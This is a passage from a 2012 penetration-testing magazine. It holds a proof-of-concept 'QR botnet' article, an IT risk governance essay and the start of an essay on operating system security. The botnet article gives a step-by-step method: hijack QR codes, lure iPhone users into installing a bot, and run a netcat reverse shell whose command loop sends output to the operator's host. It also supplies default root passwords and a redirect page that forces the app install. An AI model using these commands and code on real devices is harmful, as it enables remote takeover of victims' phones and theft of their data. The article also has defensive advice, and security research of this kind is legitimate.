only smart phones) should include a specialized code
reading and decoding software. The mobile device can
translate it differently to actions, e.g. open URL, send
SMS, make calls, add contacts, show text etc.
However, there are QR codes that cannot be read by
mobile devices because they are encrypted. A matching
decryption key is required to view the content.
QR abuse
The main problem of the QR is that the human eye
cannot decode the message. This makes the following
social attacks possible:
Figure 1. Demo text

THE BEST OF 01/2012 Page 128 http://pentestmag.com

QRjacking
A malicious sticker can be pasted over the original
sticker, e.g. on public advertisement in the street or
other public spaces, simply replaced where possible
– websites, brochures etc.
Scanjacking
The scanned barcode would redirect to malicious web
site or run any malicious code. Hence, various attacks
can be executed, e.g. phishing, man-in-the-browser
(form of man-in-the-middle attack), SMS abuse (social
engineering is required) etc.
IPhone users and application permissions
IPhone devices can be divided into two main categories
– legal (factory default configuration) and jailbroken
(running a hacked, modified operating system version).
On one hand, legal iPhone devices can execute only
Apple-approved applications, which may lower the total
risk of getting malicious software on the device. On the
other hand, the jailbroken devices are more vulnerable
to malicious applications since these devices allow
installation of applications which had not been checked
and verified by Apple.
There are several options to install applications on
iPhones: App Store, iTunes, iPhone configuration
utility and over-the-air (from a web server). Of course,
Cidya and Installous are also available on jailbroken
devices.
One thing is certain about both the legal and most of
the jailborken devices – they have a default password
for the root user; by default it’s alpine (without the
quotes, of course).
Why is this interesting? By default, applications
don’t have root access to the iPhones but instead are
provided with a limited access by the user mobile (for
which the default password is dottie). In order to get root
privilege access, we need to do some coding as will be
explained later in this article.
Figure 2. Automatic redirection in Safari
THE BEST OF 01/2012
QR botnet
After understanding QR threats and iPhone limitations, I
can explain the idea behind the title of this article.
In order to build a botnet we need to combine
the threats of the QR code readers with the iPhone
limitations.
The main idea of this attack is to install a malicious
application from a web server directly on the iPhone. It
almost does not matter whether the iPhone is legal or
jailbroken with default root password.
Step 1: Locate vulnerable QR reader
Since we would like to install an application from a web
site, the QR reader should have automatic redirection to
URL. I have been testing the following 10 applications
on my iPhone with iOS 5: QRReader, RedLaser,
QR+, ShopSavvy, Scan, ConnectMe, HP CodeScan,
ATTScanner, ScanLife and i-Nigma. To make it close
to the reality, I searched the word QR in App Store and
downloaded the first 10.
I generated a QR code for a website and scanned
the code in each application. The following applications
have automatic redirection: QRReader, ShopSavvy,
Scan, HP CodeScan, ScanLife and i-Nigma. Summary:
6 of 10 were vulnerable to automatic redirection, e.g. i-
Nigma opens Safari automatically and redirects to the
requested page, see screenshot in Figure 2.
What should appear when automatic redirection is
disabled? See screenshot of RedLaser’s question in
Figure 3.
Figure 3. Popup on non-redirecting QR reader
Page 129 http://pentestmag.com

Step 2: Run botnet operator
The concept of this botnet is based on a client-server
application. The server runs Netcat (built-in program on
Linux and Mac), which listens to incoming connections.
The following command should be running on the
server:
nc -k -l 3333
Explanation: Netcat is listening on port 3333 and waiting
for another connection after its current connection is
completed.
Step 3a: Build bot
The development of iPhone applications is performed
on Xcode (I use version 4.2 on Lion), which can be
downloaded and installed for free from Apple’s web site.
In addition, in order to be able to sign the application, a
developer account is needed – it costs some money.
There are ways to bypass signing, but I rather not to
discuss them in this article.
Our bot is based on reverse backdoor shell attack,
which is implemented by using netcat. A reverse
backdoor shell is a scenario when a remote device (i.e.
iPhone) connects to server (i.e. botnet operator) and
then executes local system commands on the device.
In order to execute the attack, the following command
should be run: nc [operator’s_ip] 3333 -e /bin/bash.
However, by default Mac devices don’t support the -e or
-c operators. I was testing various versions of “netcat”
and tried to compile it for different operating systems,
none of them worked in execution mode. Some of you
might think that Mac OS/iOS is only a permutation
of FreeBSD, however the bottom line is that it won’t
work for me. I decided to build my execution mode,
which is based on system calls. See the code below
to understand the concept (not the complete source
code):
system(„echo ‘Started QRbot on iPhone by NirV ‘ > ~/result”);
while (1) {
system(„cat ~/result | nc [operator_ip] 3333”);
system(„nc [operator_ip] 3333 | head -n 1 | awk
‘{system($0)}’ > ~/result”);
} is installed then the commands above can run with the
Note: not all system calls are supported on legal
devices, therefore the developer of the bot should
consider to implement system commands in Objective
C, e.g. connect to the bot operator by using socket and
listen to commands.
Description: The 1st system call writes a banner to
a file. The banner can include a general message or
THE BEST OF 01/2012
PENTEST STARTERKIT
include some details about the iPhone, e.g. IP (usually
behind a NAT), system version etc. The next commands
run in endless loop (while true): cat is a command to
print the content of a file; in this case, cat prints the
content of the banner or any content in the ~/result
file. The 2nd system command is combined of printing
the content as explained and passing it as input to the
netcat application, which sends the message to the bot
operator. Since the operator should have control, the
3rd command opens a netcat and stores the output of
the 1st row (the command from the operator), and then
the command is passed as STDIN to the awk command,
which runs the command on the operating system.
Note: even if awk is not installed on the iPhone, the
output can be written to bash file and then executed.
The 2nd command above is now executed to print the
output of the system to the botnet operator.
What are the limitations in the code above? My test is
based generally on iPhone emulator, however the code
might be changed since applications on legal iPhone
run in a sandbox with limited permissions. On physical
iPhone the bot is running under mobile user (not a root),
which means that its current functionality can produce
only DDoS attacks. The good thing about this is that it
does not matter if the iPhone is jailbroken or not.
If we had a root access, what could the QRbot do?
Collect personal data e.g. contact lists, emails, last
visited GPS locations, run as a malware even after
uninstalling the application by adding tasks to the
“crontab” (scheduled tasks), steal cache and generally
backup the iPhone. Is it hard to get root access? The
‘sudo’ command is not implemented by default on iOS,
but the ‘su’ command does. The limitation of ‘su’ is that by
running the command, a different shell is started, which
means that in this case, running the command as script
or as system command is almost impossible. In order
to get root in easier way, the password should remain
alpine and one of the following should be installed on
the iPhone device: OpenSSH or sudo. Important to
mention, most of the jailbroken iPhones have at least
one of them or these can be installed as part of QRbot.
In this case, the attack vector is larger since there are
fewer actions that should be accomplished in order to
get a root access. To make a long story short, if sudo
following command:
echo ‘[password]’ | sudo -S [command]
If OpenSSH is installed, then reverse ssh tunnel is
probably a good solution – Google it.
In conclusion, the functionality of the QR botnet
depends whether the iPhone is legal or jailbroken, and
Page 130 http://pentestmag.com

Figure 4. Botnet operator screen on application load
if it is jailbroken, the installed applications should be
abused.
Step 3b: Verify bot operation
After coding the logic into the application, some
testing should be done in order to verify that the bot
is operating as we expected. In order to do the tests,
run the server as explained in step 2 and run the
application using Xcode. It is recommended to run
first on iPhone Simulator. The first state of the botnet
operator should not contain any content, however
after running the application, the terminal of the botnet
operator should be as Figure 4, which means that the
iPhone is connected.
Since the iPhone is connected and waiting for
commands, the botnet operator should write an iOS
system call, e.g. ping –c 4 www.google.com, where the –c 4
means that only four requests are sent. A malicious bot
should be running endless loop. The results should be
similar to the screenshot in Figure 5.
The next step is to build an IPA file and test it on
the iPhone. If you have a developer account, then
you should know how to do this. If you don’t have a
developer account, please Google it. Note that some
of the commands that illustrated earlier might not work
on the real iPhone, therefore you need to code the
features, e.g. file system access, socket etc.
Step 4: Publish QRbot on the web
By this step we found a vulnerable QR reader and
created a bot and botnet operator. In order to install the
bot, we need to use a legitimate distribution method. In
Figure 5. Control botnet remotely
THE BEST OF 01/2012 Page 131
this case, we post the bot on an Internet published IIS
web server, this installation type also known as over-
the-air (OTA) installation. Additional requirements:
static IP address and a DNS name (more reliable), an
XML manifest file (view configuration tasks on Apple’s
web site) and a developer account as single person
or enterprise. The difference between single person to
enterprise is the amount of bots per server, meaning
that the enterprise account supplies unlimited number
of endpoints (iPhone\iPdad). Since the deployment
method is explained in details on iOS Developer Library
(Apple’s web site), the explanation of this step includes
only the important details to make the distribution
work as part of the cyber attack. To accomplish the
attack, create the following HTML page and name it
default.html: Listing 1.
Another option is to run the script in a hidden IFRAME
or on a blog, as there are many blogging platforms
available on the internet, most of which support and
provide easy means to set a blog up and running in a
matter of minutes.
Note that the installation is based on ITMS (aka iTunes
Music Store) protocol. Safari will use the link above in
order to install the application. Important to mention is
that the installation requires user’s approval, which will
be discussed in the next step.
Step 5: QRjacking & Scanjacking
As explained before, social engineering is required in
order to implement the attack. The first action should
be QRjacking, which means that malicious QR should
be replaced with the legal QR. However, it might be
Listing 1. QRjacking
<html>
<head>
<title>QRbot</title>
</head>
<body>
<script type="text/javascript">
//Replace MALSITE.com with
your site
window.location="itms-
services://?action=download-
manifest&url=http:
//MALSITE.com/manifest.plist";
</script>
</body>
</html>
http://pentestmag.com
 PENTEST STARTERKIT
Figure 6. Citadel consulting web site
more comfortable to go further and publish a cool
advertisement on TV. In order to QRjack, generate a
QR code (I use http://qrcode.kaywa.com/) and then
print it, for instance, the QR code in fig6 generates a
link to http://en.citadel.co.il/.
In reality, the link above should be redirected to
the html page from step 4. By entering the page, an
installation screen should appear, as illustrated in
Figure 7.
So the real question is how to trick people to use this
code? The answer is in the question, they already did.
People who scan the QR code are sure that the content
is authentic, or at least do not suspect it as malicious.
Avoidance
As I explained in the beginning of the article, the QRbot
attack is based on both social engineering and cyber-
crime techniques. The actions that should be taken in
order to avoid this kind attack are as follows:
Figure 7. Installation con�rmation
THE BEST OF 01/2012 Page 132
No automatic redirection
There are applications that do not redirect to web pages
automatically. I recommend testing each QR reader that
is downloaded to your iPhone. In order to perform the
test you may use the QR code from this article (which
may be QRjacked) or by generating a QR code to a
URL.
Decode QR
There are many QR decoders; I use http://zxing.org/w/
decode.jspx to validate the data of the code. If you don’t
know the web site to which you are being referred to, it
is recommended to avoid scanning the QR code from
the iPhone.
Control over-the-air (OTA) installation
OTA installation should be used when a specific
organization sends a link for installation. If the purpose
of a QR code is software installation, Apple’s App Store
should do it, unless it is discussed in advance with the
publishing company.
Conclusion
QRbot is a concept of malicious software distribution
and usage as botnet. In this article we have seen
that combining social engineering with cyber-crime
might lead to DDoS attacks and confidential personal
information leakage. The QR botnet is only a PoC,
however it might be used since the implementation of
the attacks above is possible in short time. In order to
avoid the attacks, users should be more aware to the
risks and solutions for using secure QR readers and
verify applications’ installation sources.
NIR VALTMAN
Nir Valtman is employed in Citadel Consulting
LTD (http://en.citadel.co.il) as Chief Security
Architect. Before this position he was
working as senior technology consultant,
Application security consultant, system
security consultant and a technological
trainer. As part of his positions, he was not only consulting,
but also performed hands-on activities in various �elds, e.g.
hardening, penetration testing and development for personal\
internal applications. Nir has a BSc in computer science
but his knowledge is based mainly on cowboy learning and
information sharing with the techno-oriented communities.
As part of Nirs’ position, he is responsible to investigate new
technologies, delivery of high-level technologic surveys and
business development in the company. Visit his blog: http://
valtman-nir.blogspot.com or contact him: nirv@citadel.co.il.
http://pentestmag.com
 ������������������������
���������������������������
������

��� ������ ����

����������������������
� �����������������
�������������������������
� ���������������������������
��������������������������
������������������������������������������������
�������������������������������������������������
���������������������
�����������������������������������������������
������������������������������������������

����������������������������������������������������
���������������������������������������������������
����������������
����������������������������������������������������
��������������
��������
���������
����������
��������������

��������� ���������������������������������������� �������������������������������������������������������������������������������������������������������������������������

������������������������������� ���� ����� ������

��������������������������������
 PENTEST STARTERKIT

IT Security
& Risk to data
– the ever changing landscape
“Data loss!”; “Industrial Espionage”; “Security Breach!” – Terms
which we’ve heard of before, but unfortunately are becoming
increasingly popular given the disturbing levels disclosed recently.
The new world of ‘Cyber Security’ is facing an increasing rise in
awareness across organisations as the risks associated to these
threats are realised.

T
here are many forms of security breaches taking
various guises, and its because of this diverse
array of types of attack, that organisations are
finding it challenging to protect themselves against.
On the other hand, clever countermeasures are
now available to help the fight against targeted or
opportunistic forms of attack. So that’s OK you might
say. However, these tools can be extremely costly
to buy, implement and then maintain. It is having a
blended mix of effective countermeasures and an
effective risk management regime that organisations
seem to struggle with, which I will now discuss.
The world of corporate governance has brought
added pressure and cost to organisations safeguarding
themselves against external (and not forgetting the
internal) threats. Sarbanes Oxley, PCI, Solvency,
MiFID, (to name but a few) has forced organisations
to take a closer look at how they apply control over
their operations. Given the cost in the early days
of organisations having to comply with the likes of
Sarbanes Oxley (running into tens of millions for
some larger FTSE based examples), organisations
are turning to various frameworks (COBiT, COSO
etc) and standards as a way of applying control over
their IT landscape. The problem comes when there
is a misunderstanding between what the world of
compliance and governance state you must comply
with, and interpreting this as an appropriate baseline set
of controls for your organisation. Organisations spend
hundreds of thousands having consultancies tell them
things that they probably already know all in the name
of compliance. They hand over a report, the client pays
the invoice and that’s it until the next quarter. There is
no doubt that there is value in having elements of your
operations assessed by a third-party set of eyes, but it
is how you then use this information which is critical.
I’ve been lucky to work in both the private and
public sector in my career to date, and witnessed
how organisations within these sectors have striking
similarities surrounding issues addressing IT Risk
across the organisation. Many organisations I’ve
visited on my travels all understand risks to their day-
to-day operations, but few understand how to integrate
the management of risk into their organisation
throughout.
I have seen various approaches to managing risk,
mainly dependant upon available budget and appetite.
The private sector trend is to rely upon the results of
a statutory audit to determine any exposure across
their IT landscape and to drive remediation. The public
sector has tighter controls surrounding their systems
(mainly for accreditation purposes) which requires them
to undertake health checks (vulnerability assessment)
to again assess vulnerabilities which could compromise
the security of their systems and data. Both though
have a common thread being that they have an external

THE BEST OF 01/2012 Page 134 http://pentestmag.com

review carried out and a report detailing the findings business representatives a window of opportunity to
delivered at the end of the work. be exposed to the health check process required for
It’s the lack of process following what happens with system accreditation purposes. They now had visibility
this report after it’s been delivered that seems to cause of the health check plan too which allowed them to
difficulties. Typically it’s sent for the attention of the IT budget for any remediation necessary. Moreover, it
Security Manager/CISO who probably had the task brought the business closer and allowed them to gain
of engaging and organising the external review in the an understanding around not just IT Security risks, but
first place. Whilst this seems a logical approach, there general IT risks to their critical systems and data.
is one party which is generally unaware of the work A consequence of the above, was a natural move to
that has probably taken place, who should have been manage IT security risks, that once would have gone
involved from the start – the business. unnoticed, onto various risk registers within the business
Given the recent downturn in the economy, there has and IT (for formal review) – to then feed into appropriate
been a changing shift (especially in the private sector IT strategies resulting by way of sparking process
with high-profile tabloid examples of compromised change (to introduce mitigating controls potentially) or
data loss) in the how organisations are approaching introducing technical changes to the system (Figure
managing risk. This is, in the main, driven by a reduction 1). This was crucial given the size of our estate (some
in budgets, e.g. IT Security now seeing vulnerabilities 1,700 servers) and not forgetting the varying degrees
identified from a vulnerability assessment/penetration of legacy equipment on the estate which was out of
test as being owned now by the system owners from support and was too old and out of date to simply apply
the business – and promptly throwing those issues over the latest security pack releases – thus, driving ways for
the wall for them to deal with (if they have budget to do us to look at the entire system and start thinking about
so) resulting in the risk remaining untreated. what mitigating controls existed, or, what mitigating
It is to this extent that the tone and accountability for controls could be introduced.
managing risk within an organisation must (and must A natural progression was to feed IT security
be seen to) come from the top. Management (and vulnerabilities that were deemed high-risk into trains
the Board) must embrace the need to understand risk of work concerning tech refresh programmes. These
and how it affects them, their organisations and also programmes addressed the risk of exposure of a
shareholders. I’m currently working within the public security breach to our operations by updating the
sector, and given the constraints I’ve already mentioned infrastructure where appropriate – thereby ensuring that
above, we’ve introduced a holistic approach to both risks residing upon the business or IT risk register were
business and IT risk across the organisation. deemed treated and closed.
Typically we receive a nice glossy report from the The task to achieve this was to engineer an effective
external health check company detailing our security method of raising the profile of security vulnerabilities
vulnerabilities in typical generic form.
What has failed to happen in the past is
the process of interpreting these industry-
good-practice, generic findings into
relevant risks pertinent to our organisation
and business. Instead we simply have
looked at what we can and can’t do for
various reasons. The vulnerabilities we
were not able to fix, for whatever reason
(cost v benefit), were simply left and
ignored. Security through obscurity – the
ostrich head in the sand.
A work stream was initiated to identify
Business System Owners (BSO’s) and
Technical System Owners across the
organisation. The aim here to bridge the
divide that had developed between the
business and IT. A formalised Health Check
process was introduced specifying the key
roles and accountability. This allowed the Figure 1. Our Stairway-to-heaven. 1General Computer Controls

THE BEST OF 01/2012 Page 135 http://pentestmag.com


which could result in the organisation being
compromised, but ensuring that they are articulated
appropriately to the target audience. That was critical.
IT Security seemed to have been deemed a thorn-
in-the-side for some time. Considered a dark arts
practice by certain elements of the business. A topic
that most new very little about. This perception had to
change. The introduction of the BSO’s and including
them in the health-check process proved fruitful in
dissolving this.
It seemed the norm that by having an IT framework
in place or by simply applying a standard was deemed
sufficient (whether that be COBiT for a wider view of the
control across the IT landscape or even a build standard,
such as CIS, for a server build). The fact is this will only
get you so far on your journey – the secret is to introduce
a model that brings the business and IT elements of your
operations closer together; to communicate effectively.
To set company-wide appropriate policy (and then ask
yourself how accessible is it? how is the awareness of
this managed?)
The secret, it seems, is to start to think-smarter
as to how you and your organisation face up to the
ever changing challenges you face in the world of
IT Security. With increased pressure to manage
reduced budgets better, we are finding ourselves
having to modify our internal processes surrounding
the identification of risks; the management of, and
an appropriate and effective escalation process to
boot too. It’s about having an effective IT Assurance
function in place which has a holistic view across your
organisation which can protect your business and
lead to a reduction in your compliance costs through
controls optimisation in response to both internal and
external threats.
Our IT systems are becoming increasingly more
complex too in an attempt to streamline our operations
in the drive for efficiencies. Given this, organisations
are turning to automated techniques in order to combat
the threat to our data (e.g. introducing computer
aided auditing techniques to provide a greater degree
of assurance over the integrity of data across your
business critical systems, in an attempt to relieve
the admin burden that governance typically brings).
Furthermore, these off-the-shelf tools that are available
can be multipurpose. For example, you may have
installed ACL or IDEA to look at your data. This tool can,
and has, been used to also assist with data migration
and conversion projects in addition to supporting your
statutory audit process too (general ledger scans
for example), or to meet regulatory requirements to
exercise control over the referential integrity of your
data.
THE BEST OF 01/2012
PENTEST STARTERKIT
Conclusion…
So, a considered approach is required to the level
of investment compared to the assessed risk to
your systems and data being compromised. Your
assessment of risk should be a continuous, dynamic
process of collating, updating and analysing information
throughout it’s lifecycle. It is about how you approach
the manner of governance and the oversight of your
IT function, including the level of interaction with
executive management, the Board and, not forgetting,
your Internal Audit function regarding the results of
monitoring activities and identified significant IT control
weaknesses to your organisation.
Summary…
• Increase in types and amount of cyber attacks on
organisations (see Times article by Iain Lobban,
GCHQ [31st October 2011])
• The volumes of data being held within companies
is growing and therefore increasing the risk if
compromised
• Data is now being held in more complex systems
which by their very own nature hold security
vulnerabilities which you may not be aware of
and could be easily exploited by an attacker if not
properly controlled
• Instances where data is being manipulated outside
of the main application e.g. spreadsheets (so lack
of control over data integrity)
• International Standards on Auditing (ISA’s) suggest
gaining more assurance by using CAAT’s methods,
leading to an increased number of controls now
being automated compared to manual
• Introduce an assurance function that has a holistic
view across your IT landscape and the output of
which is accessible by senior management
CARL NIGHTINGALE
Carl Nightingale is an IT Risk and Compliance practitioner
and educator in the �eld of IT risks and controls across the
IT landscape. He started as a Programmer implementing IT
systems all over the world, and then moved into the Financial
Services sector working for a Big-4 consultancy where he
focussed his attention on IT Controls and Governance.
He currently provides a range of consulting, training and
education support to help organisations and individuals with
the challenges of IT Risk and Controls.
Page 136 http://pentestmag.com
 Now Hiring

Teamwork

Innovation

Quality

Integrity

Passion

Sense of Security
Compliance, Protection
and

Sense of Security is an Australian based information security and risk management consulting
practice. From our offices in Sydney and Melbourne we deliver industry leading services and
research to our clients locally, nationally and internationally.

Since our inception in 2002, our company has performed tremendously well. We thrive on team
work, service excellence and leadership through research and innovation. We are seeking
talented people to join our team. If you are an experienced security consultant with a thorough
understanding of Networking, Operation Systems and Application Security, please apply with a
resume to careers@senseofsecurity.com.au and quote reference PTM-TS-12.

info@senseofsecurity.com.au
www.senseofsecurity.com.au
 AUDITING & STANDARDS PENTEST

Operating System
Security Re-visited
Information security, in terms of the risk management of electronic
information, is a young and relatively new practice in the business
world. Information security departments are less than a decade
old in many businesses. The mid-to-early 90s saw the wider scale
adoption of the public Internet, and along with it came technical
gurus (some would say “hackers”) who professed to know how to
keep bad guys out of good guys’ corporate networks.

T
he earliest face of information technology security
expertise was one of hackers and small service
providers. Businesses at this time did not have
dedicated security departments. The information security
practice was handled by IT operations typically. IT
operations staff would install a firewall, configure it badly
(in most cases) and they would roll out some sort of a
token gesture in the way of malware protection (although
it seems the effectiveness of malware protection controls
are limited by the products available in this space – and
so how advanced can it possibly be as of January
2012?). This was the earliest incarnation of information
security where it concerned the preservation of the
confidentiality, integrity, and availability of information
assets and services (yes – I got my CISSP too, although
it was 2005 – seemingly a lifetime ago).
In the decade-plus since the world first realized that it
might need to think about the protection of information
assets held in electronic form, has there been much
progress in the field? Major information security incidents
regularly make the headlines even in business-related
publications such as the UK’s Financial Times. In the
early to mid-2000s, the frequency of reported security
incidents was, to say the least – very low. So when I
was proclaiming at the time that corporate networks
were wide open, my comments were greeted with some
skepticism, sideways glances, and other expressions of
derision, disapproval or discomfort.
Many in the field of information security wouldn’t
care to admit it, but whenever the bad guys target the
good guys with (among others) intentions of corporate
espionage, intellectual property theft, and / or theft
of personal information, they are rarely met with any
significant resistance.
Way back in the early 2000s, with the outbreak of
the famous worms known as Nimda and Code Red (ah
those were the days!), dropped packet logs from our
firewall revealed that worm propagation connections
were attempted to our corporate network from some
famous names, including IBM, Oracle, and many other
Wall Street favorites. Corporate networks were being
routinely infected across the globe.
These days the malware is less noisy, but even
more pervasive, and there is more of an economic
element behind it. Botnets are common, consisting of
many thousands or millions of nodes, and corporates
are unknowingly assisting the efforts of the botnet
architects. Without permanently online corporate
desktop PCs and Microsoft Windows (predominantly)
servers, the botnets would not be so effective and
widespread. Botnets are rented out for any parties
wishing to spam, loot, hoard, or whatever it is the bad
guys do to make money. Sufficed to say, when the
botnet propagates, it does not discriminate based on
the ownership of the real estate within which it decides
to squat.

THE BEST OF 01/2012 Page 138 http://pentestmag.com

 There are many other aspects of information
security incidents that serve to illustrate the plight
of the information security industry, and therefore
also its customers, and therefore also our economic
security. One could discuss the proof ad infinitum
of the negative progress of the information security
industry.
We could feel perhaps marginally better about our
beloved industry if we could honestly claim that the
field of information security is still young and therefore
in an early state of evolution. In the Darwinian sense of
the word, the claim that security is evolving implies it
is adapting to its environment and improving with time.
However, I have seen little to suggest that the industry
is evolving.
Some have said that information security is broken.
Well, to be quite frank, as of early 2012, the industry is
certainly not in a state of evolution. Things have been
in regression since the early 2000s. Therefore we can
safely say that the industry is indeed broken.
The Story Behind Our Decline
The reasons for the failure of the information security
industry are covered in some depth in my book of
the title Security De-engineering, but just to cover
them briefly here seems appropriate because it sets a
framework for the discussion about the importance of
operating system security controls.
The underlying reason for our descent into chaos
is a lack of the appropriate skills, primarily at the
security management level, which in turns leads to the
development of a skills gap at the operational / Security
Analyst level.
I use the term Hackers here (with an upper case H)
not in any kind of ethical framework. We should not talk
about ethics in security because we are not the law. We
should not pass judgment or paint IT enthusiasts in a
negative light just because they have spoken at a Black
Hat event (for example). We need to let the law do the
judgment. Until proven guilty, Hackers are good guys.
What is an ethical hacker? A penetration tester who…
doesn’t do bad stuff?
In the late 90s, the information security industry was
a place for Hackers and IT enthusiasts with a deep
passion for their field. The Hackers, very much in the
mold cast in the Steven Levy book of the same name,
lived and breathed programming (creativity), reverse
engineering, spoofing, poisoning, eavesdropping,
hijacking and various other activities with hyperbolic
(what were we saying about ethics before?) names.
Nobody knows everything there is to know in information
security, but the hackers, including many that I worked
with, came fairly close to it!
THE BEST OF 01/2012 Page 139
To keep the bad guys at bay, or at least avert a
situation where the business is a “low hanging fruit”,
deep knowledge of the technical infrastructure (and
the technical risks to the business) is required, and
therefore also diverse technical skills are required.
It takes a wolf to catch a wolf. The information
Security Analyst must be a wolf. Between the members
of the information security department, they need to
know core technologies in depth (Unix, Cisco, Oracle,
Windows…et cetera), penetration testing, application
security testing, and they need to understand how
the pieces of the puzzle fit together from a security
perspective.
But the ground level skills are not enough. We can
have some of the best Hackers at our disposal –
effectively artists in the field. But artists generally have
a manager or agent who sells their work on their behalf.
The artist’s agent is the I/O interface between them and
the outside world.
Late 90s Hackers carried with them unconventional
(not the norm for business environments) traits of
language, appearance (every day was a more-casual-
than-casual Friday), and, from the point of view of the
management, a general lack of aesthetic appeal. They
also needed an agent who sat between themselves
and the rest of the company. In essence they needed
an effective Security Manager who had themselves
some hands on experience in the industry: someone
who could speak Hackerish, walk the walk, and talk the
talk of both sides of the fence. An effective leader was
needed who carried mutual respect between manager
and cohorts. Instead, what existed were managers who
in many cases did not even have any IT experience,
let alone security experience. Such managers were
limited in their capacity and could really only serve as
dictators rather than leaders. The days of the Hacker
were numbered.
So, what we had in the good old days was the right
type of skills but the wrong type of management.
Several consequences emerged from this unfortunate
circumstance: Hackers were seen as unmanageable
in some cases. In others their presence caused some
issues with insecurity. For many different reasons, none
of them good, Hackers were cast aside. Today, very few
remain in the industry apart from a few government-
funded niches.
Primarily then, our problems in information security
have stemmed from the removal of key areas of
intellectual capital from the industry. From this root
cause, a whole host of other macro-scale problems
have emerged, which are covered in detail in my book
Security De-engineering, but the area I want to focus on
within the scope of this article is the area of Operating
http://pentestmag.com
 AUDITING & STANDARDS PENTEST
System security, within the world of risk assessment
and there is a connection with penetration testing and
vulnerability management in general.
Terminology: What Is Meant By Operating
System Security?
First up, what is meant by Operating System? The
usual meaning in most businesses’ operational
sense is a bare install – in other words, the box as
in its shipped state, with no in-house or any other
applications installed – there will [hopefully!] be
nothing installed on the computer other than what is
made available from the vendor’s install media. This
is different from most university Computer Science
course syllabus definitions of the phrase, but we will
go with the former definition.
Practicing information security professionals will
doubtless have come across situations where tensions
rise in meetings as a result of the classic conflict of
terminologies. Personally I encountered this situation
many times: two or more security pros, each carrying
heavy baggage in the way of ego and pride, read
different books on the same subject matter. Each
book describes the issues in a different way and uses
different terms and phrases. The budding security pro
invests a great deal into taking on board their version of
the story, and if others use different phrases than their
own, so help them, they’re in trouble. To be honest this
usually occurs at the security management end of the
scale. For example, a buzzword which was created in
the mid-2000s was governance. This phrase has for
some years been taken in different lights by different
people, and in security we do not have universally
accepted terms and phrases. Everybody’s version is
the correct version so it seems.
More recently another phrase – Advanced Persistent
Threat – took on viral usage globally, even though many
of the attacks categorized under the APT umbrella have
no persistent element, and for that matter many of them
are not so advanced either (e.g. user follows a malicious
link, installs what they think is anti-virus software, but is
actually software that harvests their personal details
through a nice encrypted tunnel).
At the technical, business end of the security scale,
we do not have so many confusing terms and phrases.
Textbook definitions of TCP/IP for example: this is not
subject to misinterpretation, or at least we can say that
there is a fairly consistent meaning across the globe.
At the most base level we can say that TCP/IP is a
language invented for the purpose of enabling network-
connected devices to talk to each other.
So what of operating system security then? Computer
operating systems are designed with configuration
THE BEST OF 01/2012
options, such as file system permissions, that allow
administrators to apply some level of protection to
information (files, databases, etc) hosted by the
computer. Operating system security relates to the
degree to which available controls have been applied,
in the face of remote and local exploit risks.
A Brief History of Vulnerability Assessment
The year is now 2012. As I mentioned earlier, the
information security scene did not emerge until the
mid-90s. So we are in an industry that approaching
20 years old. We’re still teenagers but most teenagers
at least have developed the ability to tie their own
shoelaces.
Security assessment of networks and devices kicked
off with penetration testing delivered by security service
providers. The earlier penetration tests were in the
most part delivered by highly competent individuals.
A common scenario was for four analysts to carry a
remote test for a period of two weeks or so.
Back in the mid-to-late 90s, firewalls were poorly
configured if they even existed at all, and some even
exhibited some cute bugs such as the infamous
Checkpoint Firewall-1 vulnerability, whereby scanning
with our source port set to UDP 53 resulted in a bypass
of the firewall rule set (this issue wasn’t confined to
Checkpoint’s firewall). Of course the vendor fixed this
issue many years ago.
So penetration tests usually revealed a whole plethora
of critical issues and so penetration testing was seen by
the business world as carrying some value. Penetration
testing as a service grew in popularity at a rapid rate up
until approximately 2001 when the industry started off
on its decline at a fairly rapid rate.
One of the few aspects of security that did improve
from the late 90s to this day was the configuration
of firewalls, although it should be said that in larger
businesses it’s not Security Analysts who decide on a
rule set – usually it’s IT operations, and in many SMEs
the firewall is remotely managed by a Managed Service
Provider (MSP). With the improvement in firewall rules,
the number of findings in penetration tests was reduced,
and so the perceived value of penetration testing was
also reduced.
Also around the end of the 90s, automated
vulnerability scanners began their ascent on the security
world. Automated vulnerability scanners are those such
as Nessus and so on that supposedly allow a novice
analyst to enter a few target IP addresses, configure a
default scan, and hey presto, as if my magic, one has
conducted a penetration test!
The perception at the time, and still very much to this
day, was that these automated scanners could actually
Page 140 http://pentestmag.com
replace a manual penetration test and produce results
of similar value. The costs were very different – the
misconception at the time was that any analyst could
use an auto-scanner, so why should the business fork
out 40,000 USD for a manual test? It was clear the end
was nigh for a large chunk of the penetration testing
market.
The fact is that automated scanners carry some value,
but realistically it is little more than what can be gained
with a simple port scan. Most of the tests are based
purely on guesswork. The tool grabs a banner (such
as a web service that says I’m running Apache 2.2.16),
then looks up in its list of vulnerabilities for anything
Apache-related that matches a version number less
than or equal to the target service version.
Automated vulnerability scanners produce an awful lot
of output, most of which is false positives, but needs to
be analyzed nonetheless. So there is some analysis to
be done. The creation of the scanners did not completely
remove the need for human / manual analysis – and in
fact given the sheer volume of output from these tools,
the time requirement is far from negligible.
Overall: automated vulnerability scanners are not
exactly useless but they’re not far from it. The tool
developers never claimed that their scanners were the
best thing since sliced bread – it was the marketing
engine behind the commercialization of open source
tools that set expectations too high.
So then fast-forward to 2012 – it does seem that
the industry thinking (or lack of) behind vulnerability
assessment never really shifted at all. There is a growing
awareness of the ineffectiveness of automated tools,
but the over-riding opinion is that current automation
solutions are just fine. The vast majority of businesses
base their entire vulnerability management strategy on
the use of such tools.
During all this time, what has been the industry
perception of operating system security? Well, to be
honest, there haven’t really been any serious efforts
by the industry to go down the road of the assessment
of OS controls with regard security. A few scripts were
knocked up in the 90s, such as Satan, but to date there
hasn’t been an effort to develop a comprehensive
solution in this space. The Hackers were aware of the
importance and value of doing things “from the inside
out”, but the whole area was seen as being too tedious
to even mention. Then, the Hackers were gone – so the
message about OS controls never went mainstream in
the industry.
The information security vinyl was released in 1995,
but the record player needle got stuck in 2002. The
needle has been stuck ever since. The industry needs
a fairly hefty nudge.
THE BEST OF 01/2012 Page 141
Why Analyze OS Security Controls?
There is nothing really revolutionary or ground breaking
in these ideas about OS and database configurations
in security. Vulnerability management product vendors
caught onto the idea some years ago, but failed to
implement anything really comprehensive and useful
for their customers. Furthermore, from what I have
seen in my global travels as a consultant with a roving
disposition, very few businesses invest resources in
this area, and very few security professionals seem
to understand the importance of this area. It is rarely
the case that businesses do absolutely nothing to
mitigate risk (they at least understand that installing
security patches and applying strong passwords is
worth some thought), but in all but a few cases their
efforts are insufficient given their respective financial
risk profiles.
Taking a simple example to illustrate what we mean
